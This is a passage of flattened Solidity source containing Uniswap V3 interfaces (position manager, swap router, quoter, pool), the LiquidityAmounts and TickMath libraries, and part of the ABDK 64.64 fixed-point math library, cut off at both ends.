returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; pragma abicoder v2; import '@openzeppelin/contracts/token/ERC721/IERC721Metadata.sol'; import '@openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol'; import './IPoolInitializer.sol'; import './IERC721Permit.sol'; import './IPeripheryImmutableState.sol'; import '../libraries/PoolAddress.sol'; /// @title Non-fungible token for positions /// @notice Wraps Uniswap V3 positions in a non-fungible token interface which allows for them to be transferred /// and authorized. interface INonfungiblePositionManager is IPoolInitializer, IPeripheryImmutableState, IERC721Metadata, IERC721Enumerable, IERC721Permit { /// @notice Emitted when liquidity is increased for a position NFT /// @dev Also emitted when a token is minted /// @param tokenId The ID of the token for which liquidity was increased /// @param liquidity The amount by which liquidity for the NFT position was increased /// @param amount0 The amount of token0 that was paid for the increase in liquidity /// @param amount1 The amount of token1 that was paid for the increase in liquidity event IncreaseLiquidity(uint256 indexed tokenId, uint128 liquidity, uint256 amount0, uint256 amount1); /// @notice Emitted when liquidity is decreased for a position NFT /// @param tokenId The ID of the token for which liquidity was decreased /// @param liquidity The amount by which liquidity for the NFT position was decreased /// @param amount0 The amount of token0 that was accounted for the decrease in liquidity /// @param amount1 The amount of token1 that was accounted for the decrease in liquidity event DecreaseLiquidity(uint256 indexed tokenId, uint128 liquidity, uint256 amount0, uint256 amount1); /// @notice Emitted when tokens are collected for a position NFT /// @dev The amounts reported may not be exactly equivalent to the amounts transferred, due to rounding behavior /// @param tokenId The ID of the token for which underlying tokens were collected /// @param recipient The address of the account that received the collected tokens /// @param amount0 The amount of token0 owed to the position that was collected /// @param amount1 The amount of token1 owed to the position that was collected event Collect(uint256 indexed tokenId, address recipient, uint256 amount0, uint256 amount1); /// @notice Returns the position information associated with a given token ID. /// @dev Throws if the token ID is not valid. /// @param tokenId The ID of the token that represents the position /// @return nonce The nonce for permits /// @return operator The address that is approved for spending /// @return token0 The address of the token0 for a specific pool /// @return token1 The address of the token1 for a specific pool /// @return fee The fee associated with the pool /// @return tickLower The lower end of the tick range for the position /// @return tickUpper The higher end of the tick range for the position /// @return liquidity The liquidity of the position /// @return feeGrowthInside0LastX128 The fee growth of token0 as of the last action on the individual position /// @return feeGrowthInside1LastX128 The fee growth of token1 as of the last action on the individual position /// @return tokensOwed0 The uncollected amount of token0 owed to the position as of the last computation /// @return tokensOwed1 The uncollected amount of token1 owed to the position as of the last computation function positions(uint256 tokenId) external view returns ( uint96 nonce, address operator, address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); struct MintParams { address token0; address token1; uint24 fee; int24 tickLower; int24 tickUpper; uint256 amount0Desired; uint256 amount1Desired; uint256 amount0Min; uint256 amount1Min; address recipient; uint256 deadline; } /// @notice Creates a new position wrapped in a NFT /// @dev Call this when the pool does exist and is initialized. Note that if the pool is created but not initialized /// a method does not exist, i.e. the pool is assumed to be initialized. /// @param params The params necessary to mint a position, encoded as `MintParams` in calldata /// @return tokenId The ID of the token that represents the minted position /// @return liquidity The amount of liquidity for this position /// @return amount0 The amount of token0 /// @return amount1 The amount of token1 function mint(MintParams calldata params) external payable returns ( uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1 ); struct IncreaseLiquidityParams { uint256 tokenId; uint256 amount0Desired; uint256 amount1Desired; uint256 amount0Min; uint256 amount1Min; uint256 deadline; } /// @notice Increases the amount of liquidity in a position, with tokens paid by the `msg.sender` /// @param params tokenId The ID of the token for which liquidity is being increased, /// amount0Desired The desired amount of token0 to be spent, /// amount1Desired The desired amount of token1 to be spent, /// amount0Min The minimum amount of token0 to spend, which serves as a slippage check, /// amount1Min The minimum amount of token1 to spend, which serves as a slippage check, /// deadline The time by which the transaction must be included to effect the change /// @return liquidity The new liquidity amount as a result of the increase /// @return amount0 The amount of token0 to acheive resulting liquidity /// @return amount1 The amount of token1 to acheive resulting liquidity function increaseLiquidity(IncreaseLiquidityParams calldata params) external payable returns ( uint128 liquidity, uint256 amount0, uint256 amount1 ); struct DecreaseLiquidityParams { uint256 tokenId; uint128 liquidity; uint256 amount0Min; uint256 amount1Min; uint256 deadline; } /// @notice Decreases the amount of liquidity in a position and accounts it to the position /// @param params tokenId The ID of the token for which liquidity is being decreased, /// amount The amount by which liquidity will be decreased, /// amount0Min The minimum amount of token0 that should be accounted for the burned liquidity, /// amount1Min The minimum amount of token1 that should be accounted for the burned liquidity, /// deadline The time by which the transaction must be included to effect the change /// @return amount0 The amount of token0 accounted to the position's tokens owed /// @return amount1 The amount of token1 accounted to the position's tokens owed function decreaseLiquidity(DecreaseLiquidityParams calldata params) external payable returns (uint256 amount0, uint256 amount1); struct CollectParams { uint256 tokenId; address recipient; uint128 amount0Max; uint128 amount1Max; } /// @notice Collects up to a maximum amount of fees owed to a specific position to the recipient /// @param params tokenId The ID of the NFT for which tokens are being collected, /// recipient The account that should receive the tokens, /// amount0Max The maximum amount of token0 to collect, /// amount1Max The maximum amount of token1 to collect /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1); /// @notice Burns a token ID, which deletes it from the NFT contract. The token must have 0 liquidity and all tokens /// must be collected first. /// @param tokenId The ID of the token that is being burned function burn(uint256 tokenId) external payable; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; pragma abicoder v2; import '@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol'; /// @title Router token swapping functionality /// @notice Functions for swapping tokens via Uniswap V3 interface ISwapRouter is IUniswapV3SwapCallback { struct ExactInputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; uint160 sqrtPriceLimitX96; } /// @notice Swaps `amountIn` of one token for as much as possible of another token /// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata /// @return amountOut The amount of the received token function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut); struct ExactInputParams { bytes path; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; } /// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata /// @return amountOut The amount of the received token function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut); struct ExactOutputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; uint160 sqrtPriceLimitX96; } /// @notice Swaps as little as possible of one token for `amountOut` of another token /// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata /// @return amountIn The amount of the input token function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn); struct ExactOutputParams { bytes path; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; } /// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed) /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata /// @return amountIn The amount of the input token function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.7.5; pragma abicoder v2; /// @title Quoter Interface /// @notice Supports quoting the calculated amounts from exact input or exact output swaps /// @dev These functions are not marked view because they rely on calling non-view functions and reverting /// to compute the result. They are also not gas efficient and should not be called on-chain. interface IQuoter { /// @notice Returns the amount out received for a given exact input swap without executing the swap /// @param path The path of the swap, i.e. each token pair and the pool fee /// @param amountIn The amount of the first token to swap /// @return amountOut The amount of the last token that would be received function quoteExactInput(bytes memory path, uint256 amountIn) external returns (uint256 amountOut); /// @notice Returns the amount out received for a given exact input but for a swap of a single pool /// @param tokenIn The token being swapped in /// @param tokenOut The token being swapped out /// @param fee The fee of the token pool to consider for the pair /// @param amountIn The desired input amount /// @param sqrtPriceLimitX96 The price limit of the pool that cannot be exceeded by the swap /// @return amountOut The amount of `tokenOut` that would be received function quoteExactInputSingle( address tokenIn, address tokenOut, uint24 fee, uint256 amountIn, uint160 sqrtPriceLimitX96 ) external returns (uint256 amountOut); /// @notice Returns the amount in required for a given exact output swap without executing the swap /// @param path The path of the swap, i.e. each token pair and the pool fee /// @param amountOut The amount of the last token to receive /// @return amountIn The amount of first token required to be paid function quoteExactOutput(bytes memory path, uint256 amountOut) external returns (uint256 amountIn); /// @notice Returns the amount in required to receive the given exact output amount but for a swap of a single pool /// @param tokenIn The token being swapped in /// @param tokenOut The token being swapped out /// @param fee The fee of the token pool to consider for the pair /// @param amountOut The desired output amount /// @param sqrtPriceLimitX96 The price limit of the pool that cannot be exceeded by the swap /// @return amountIn The amount required as the input for the swap in order to receive `amountOut` function quoteExactOutputSingle( address tokenIn, address tokenOut, uint24 fee, uint256 amountOut, uint160 sqrtPriceLimitX96 ) external returns (uint256 amountIn); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import '@uniswap/v3-core/contracts/libraries/FullMath.sol'; import '@uniswap/v3-core/contracts/libraries/FixedPoint96.sol'; /// @title Liquidity amount functions /// @notice Provides functions for computing liquidity amounts from token amounts and prices library LiquidityAmounts { /// @notice Downcasts uint256 to uint128 /// @param x The uint258 to be downcasted /// @return y The passed value, downcasted to uint128 function toUint128(uint256 x) private pure returns (uint128 y) { require((y = uint128(x)) == x); } /// @notice Computes the amount of liquidity received for a given amount of token0 and price range /// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount0 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount0( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96); return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the amount of liquidity received for a given amount of token1 and price range /// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)). /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount1 The amount1 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount1( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount of token0 being sent in /// @param amount1 The amount of token1 being sent in /// @return liquidity The maximum amount of liquidity received function getLiquidityForAmounts( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0); } else if (sqrtRatioX96 < sqrtRatioBX96) { uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0); uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1); liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1; } else { liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1); } } /// @notice Computes the amount of token0 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 function getAmount0ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv( uint256(liquidity) << FixedPoint96.RESOLUTION, sqrtRatioBX96 - sqrtRatioAX96, sqrtRatioBX96 ) / sqrtRatioAX96; } /// @notice Computes the amount of token1 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount1 The amount of token1 function getAmount1ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96); } /// @notice Computes the token0 and token1 value for a given amount of liquidity, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 /// @return amount1 The amount of token1 function getAmountsForLiquidity( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0, uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } else if (sqrtRatioX96 < sqrtRatioBX96) { amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity); amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity); } else { amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import './pool/IUniswapV3PoolImmutables.sol'; import './pool/IUniswapV3PoolState.sol'; import './pool/IUniswapV3PoolDerivedState.sol'; import './pool/IUniswapV3PoolActions.sol'; import './pool/IUniswapV3PoolOwnerActions.sol'; import './pool/IUniswapV3PoolEvents.sol'; /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool is IUniswapV3PoolImmutables, IUniswapV3PoolState, IUniswapV3PoolDerivedState, IUniswapV3PoolActions, IUniswapV3PoolOwnerActions, IUniswapV3PoolEvents { } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Math library for computing sqrt prices from ticks and vice versa /// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports /// prices between 2**-128 and 2**128 library TickMath { /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128 int24 internal constant MIN_TICK = -887272; /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128 int24 internal constant MAX_TICK = -MIN_TICK; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @notice Calculates sqrt(1.0001^tick) * 2^96 /// @dev Throws if |tick| > max tick /// @param tick The input tick for the above formula /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0) /// at the given tick function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(absTick <= uint256(MAX_TICK), 'T'); uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = type(uint256).max / ratio; // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96. // we then downcast because we know the result always fits within 160 bits due to our tick input constraint // we round up in the division so getTickAtSqrtRatio of the output price is always consistent sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may /// ever return. /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96 /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) { // second inequality must be < because the price can never reach the price at the max tick require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R'); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow; } } // SPDX-License-Identifier: BSD-4-Clause /* * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting. * Author: Mikhail Vladimirov <[email protected].com> */ pragma solidity 0.7.6; /** * Smart contract library of mathematical functions operating with signed * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is * basically a simple fraction whose numerator is signed 128-bit integer and * denominator is 2^64. As long as denominator is always the same, there is no * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are * represented by int128 type holding only the numerator. */ library ABDKMath64x64 { /* * Minimum value signed 64.64-bit fixed point number may have. */ int128 private constant MIN_64x64 = -0x80000000000000000000000000000000; /* * Maximum value signed 64.64-bit fixed point number may have. */ int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; /** * Convert signed 256-bit integer number into signed 64.64-bit fixed point * number. Revert on overflow. * * @param x signed 256-bit integer number * @return signed 64.64-bit fixed point number */ function fromInt(int256 x) internal pure returns (int128) { require(x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF); return int128(x << 64); } /** * Convert signed 64.64 fixed point number into signed 64-bit integer number * rounding down. * * @param x signed 64.64-bit fixed point number * @return signed 64-bit integer number */ function toInt(int128 x) internal pure returns (int64) { return int64(x >> 64); } /** * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point * number. Revert on overflow. * * @param x unsigned 256-bit integer number * @return signed 64.64-bit fixed point number */ function fromUInt(uint256 x) internal pure returns (int128) { require(x <= 0x7FFFFFFFFFFFFFFF); return int128(x << 64); } /** * Convert signed 64.64 fixed point number into unsigned 64-bit integer * number rounding down. Revert on underflow. * * @param x signed 64.64-bit fixed point number * @return unsigned 64-bit integer number */ function toUInt(int128 x) internal pure returns (uint64) { require(x >= 0); return uint64(x >> 64); } /** * Calculate x + y. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function add(int128 x, int128 y) internal pure returns (int128) { int256 result = int256(x) + y; require(result >= MIN_64x64 && result <= MAX_64x64); return int128(result); } /** * Calculate x - y. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function sub(int128 x, int128 y) internal pure returns (int128) { int256 result = int256(x) - y; require(result >= MIN_64x64 && result <= MAX_64x64); return int128(result); } /** * Calculate x * y rounding down. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function mul(int128 x, int128 y) internal pure returns (int128) { int256 result = (int256(x) * y) >> 64; require(result >= MIN_64x64 && result <= MAX_64x64); return int128(result); } /** * Calculate x * y rounding down, where x is signed 64.64 fixed point number * and y is unsigned 256-bit integer number. Revert on overflow. * * @param x signed 64.64 fixed point number * @param y unsigned 256-bit integer number * @return unsigned 256-bit integer number */ function mulu(int128 x, uint256 y) internal pure returns (uint256) { if (y == 0) return 0; require(x >= 0); uint256 lo = (uint256(x) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64; uint256 hi = uint256(x) * (y >> 128); require(hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); hi <<= 64; require( hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo ); return hi + lo; } /** * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit * integer numbers. Revert on overflow or when y is zero. * * @param x unsigned 256-bit integer number * @param y unsigned 256-bit integer number * @return signed 64.64-bit fixed point number */ function divu(uint256 x, uint256 y) internal pure returns (int128) { require(y != 0); uint128 result = divuu(x, y); require(result <= uint128(MAX_64x64)); return int128(result); } /** * Calculate 1 / x rounding towards zero. Revert on overflow or when x is * zero. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function inv(int128 x) internal pure returns (int128) { require(x != 0); int256 result = int256(0x100000000000000000000000000000000) / x; require(result >= MIN_64x64 && result <= MAX_64x64); return int128(result); } /** * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number * and y is unsigned 256-bit integer number. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y uint256 value * @return signed 64.64-bit fixed point number */ function pow(int128 x, uint256 y) internal pure returns (int128) { uint256 absoluteResult; bool negativeResult = false; if (x >= 0) { absoluteResult = powu(uint256(x) << 63, y); } else { // We rely on overflow behavior here absoluteResult = powu(uint256(uint128(-x)) << 63, y); negativeResult = y & 1 > 0; } absoluteResult >>= 63; if (negativeResult) { require(absoluteResult <= 0x80000000000000000000000000000000); return -int128(absoluteResult); // We rely on overflow behavior here } else { require(absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return int128(absoluteResult); // We rely on overflow behavior here } } /** * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit * integer numbers. Revert on overflow or when y is zero. * * @param x unsigned 256-bit integer number * @param y unsigned 256-bit integer number * @return unsigned 64.64-bit fixed point number */ function divuu(uint256 x, uint256 y) internal pure returns (uint128) { require(y != 0); uint256 result; if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) result = (x << 64) / y; else { uint256 msb = 192; uint256 xc = x >> 192; if (xc >= 0x100000000) { xc >>= 32; msb += 32; } if (xc >= 0x10000) { xc >>= 16; msb += 16; } if (xc >= 0x100) { xc >>= 8; msb += 8; } if (xc >= 0x10) { xc >>= 4; msb += 4; } if (xc >= 0x4) { xc >>= 2; msb += 2; } if (xc >= 0x2) msb += 1; // No need to shift xc anymore result = (x << (255 - msb)) / (((y - 1) >> (msb - 191)) + 1); require(result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); uint256 hi = result * (y >> 128); uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); uint256 xh = x >> 192; uint256 xl = x << 64; if (xl < lo) xh -= 1; xl -= lo; // We rely on overflow behavior here lo = hi << 128; if (xl < lo) xh -= 1; xl -= lo; // We rely on overflow behavior here assert(xh == hi >> 128); result += xl / y; } require(result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return uint128(result); } /** * Calculate x^y assuming 0^0 is 1, where x is unsigned 129.127 fixed point * number and y is unsigned 256-bit integer number. Revert on overflow. * * @param x unsigned 129.127-bit fixed point number * @param y uint256 value * @return unsigned 129.127-bit fixed point number */ function powu(uint256 x, uint256 y) private pure returns (uint256) { if (y == 0) return 0x80000000000000000000000000000000; else if (x == 0) return 0; else { int256 msb = 0; uint256 xc = x; if (xc >= 0x100000000000000000000000000000000) { xc >>= 128; msb += 128; } if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; } if (xc >= 0x100000000) { xc >>= 32; msb 